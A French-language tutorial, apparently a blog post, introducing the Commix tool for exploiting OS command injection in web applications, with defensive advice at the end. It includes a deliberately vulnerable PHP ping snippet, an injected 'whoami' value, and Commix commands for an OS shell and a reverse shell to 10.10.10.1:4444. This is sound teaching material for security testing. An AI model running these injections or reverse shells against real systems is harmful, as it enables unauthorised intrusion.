đŁ Commix : L'arme Fatale pour Exploiter les Injections Commandes (Command Injection)
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đ§ Introduction
Si SQLMap est le roi de l’injection SQL, alors Commix (Command Injection Exploiter) est le ninja de l’injection de commandes systĂšme. Moins connu du grand public, mais redoutablement efficace, Commix permet d’automatiser la dĂ©tection et l’exploitation des vulnĂ©rabilitĂ©s de type Command Injection dans les applications web.
Oui, tu as bien lu. Si une appli laisse passer des commandes systÚme sans les filtrer correctement, Commix peut transformer ce petit oubli en un shell interactif. Et tout ça, en quelques lignes de commande.
⚠️ Qu’est-ce qu’une Command Injection ?
Avant d’exploiter, il faut comprendre. Une injection de commande survient lorsqu'une application web permet Ă un utilisateur d’injecter et d’exĂ©cuter des commandes systĂšme (Linux ou Windows) via des paramĂštres non sĂ©curisĂ©s.
Exemple typique :
<?php $ip = $_GET['ip'];
system("ping -c 3 " . $ip);
?>
En envoyant un ip=8.8.8.8; whoami
, on peut exécuter la commande whoami
sur le serveur si la requĂȘte n’est pas filtrĂ©e. Et c’est prĂ©cisĂ©ment ce type de faille que Commix adore dĂ©tecter et exploiter.
đ Commix en action : comment ça fonctionne ?
1. Détection
Commix identifie automatiquement les points d’injection potentiels dans les requĂȘtes HTTP. Il analyse les paramĂštres GET, POST, les cookies, les en-tĂȘtes HTTP, et mĂȘme les corps JSON.
2. Exploitation
Une fois la faille détectée, Commix propose plusieurs modes d'exploitation :
-
Exécution de commandes à distance
-
Ouverture d’un reverse shell
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Téléchargement de fichiers depuis le serveur
-
Escalade de privilĂšges (si possible)
3. Ăvasion & Bypass
Commix inclut des techniques d’Ă©vasion avancĂ©es (encodage, obfuscation, injection blind, tamper scripts) pour contourner les WAFs et filtres applicatifs.
đ§° Commandes de base
Voici quelques exemples pratiques :
commix --url="http://target.com/page.php?ip=INJECT_HERE"
Pour cibler un paramĂštre POST :
commix --url="http://target.com/login" --data="username=admin&password=INJECT_HERE"
Pour une session plus interactive :
commix --url="http://target.com/vuln" --os-shell
Et mĂȘme pour une connexion reverse shell :
commix --url="http://target.com/vuln" --reverse-shell --lhost=10.10.10.1 --lport=4444
Une attaque efficace, simple, et surtout automatisée.
đ§© Cas d’usage rĂ©els
-
Bug Bounty : Si tu tombes sur une app web un peu ancienne ou mal dĂ©veloppĂ©e, Commix peut te donner un accĂšs root lĂ oĂč d’autres scanners Ă©chouent.
-
Tests d’intrusion internes : Dans un intranet mal segmentĂ©, une faille d’injection de commande peut mener Ă une prise de contrĂŽle complĂšte du rĂ©seau.
-
Audits DevSecOps : En phase de CI/CD, tester les points critiques avec Commix permet d’automatiser la chasse aux erreurs de sĂ©curitĂ©.
đĄ️ Et la dĂ©fense dans tout ça ?
Pour se protéger contre les injections de commandes, il faut :
-
Filtrer et valider toutes les entrées utilisateurs (whitelisting plutÎt que blacklisting).
-
Ăviter les fonctions dangereuses comme
system()
,exec()
,popen()
sans échappement strict. -
Utiliser des appels systÚme sécurisés (API plutÎt que shell).
-
Mettre en place des WAFs, mais ne jamais s’y fier comme unique protection.
đ§ En rĂ©sumĂ©
Commix, c’est le SQLMap du systĂšme d’exploitation. Un outil redoutable qui transforme une injection oubliĂ©e en prise de contrĂŽle complĂšte.
đ Pour les pentesters, c’est un incontournable de la toolbox.
đ Pour les dĂ©veloppeurs, c’est une bonne raison de dormir moins tranquillement…
đ Et pour les analystes dĂ©fense, c’est un signal clair qu’il faut auditer les entrĂ©es systĂšme avec rigueur.
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